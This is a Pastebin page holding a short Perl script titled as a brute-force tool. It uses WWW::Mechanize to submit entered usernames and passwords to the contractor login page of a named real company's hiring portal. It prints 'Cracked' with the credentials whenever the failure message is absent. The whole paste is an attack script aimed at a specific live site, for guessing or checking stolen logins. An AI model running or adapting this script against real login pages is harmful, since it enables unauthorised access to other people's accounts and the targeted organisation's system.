Advertisement
Guest User

BF To N@Bale

a guest
Sep 5th, 2017
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.57 KB | None | 0 0
  1. use WWW::Mechanize;
  2.  
  3. print "Username -> ";
  4. $username = <STDIN>;
  5. chomp($username);
  6.  
  7. print "Password -> ";
  8. $password = <STDIN>;
  9. chomp($password);
  10.  
  11. $login = WWW::Mechanize->new();
  12. $login->get('https://mmmsl-hiring.prasarana.com.my/hcd/hiring/contractors/login');
  13. $login->field('data[Contractor][login]' => $username);
  14. $login->field('data[Contractor][password]' => $password);
  15. $login->click();
  16. if ($login->content=~ /The information given is not available in our collection./) {
  17.     print "Failed ($username:$password)";
  18. }
  19. else
  20. {
  21.     print "Cracked ($username:$password)";
  22. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement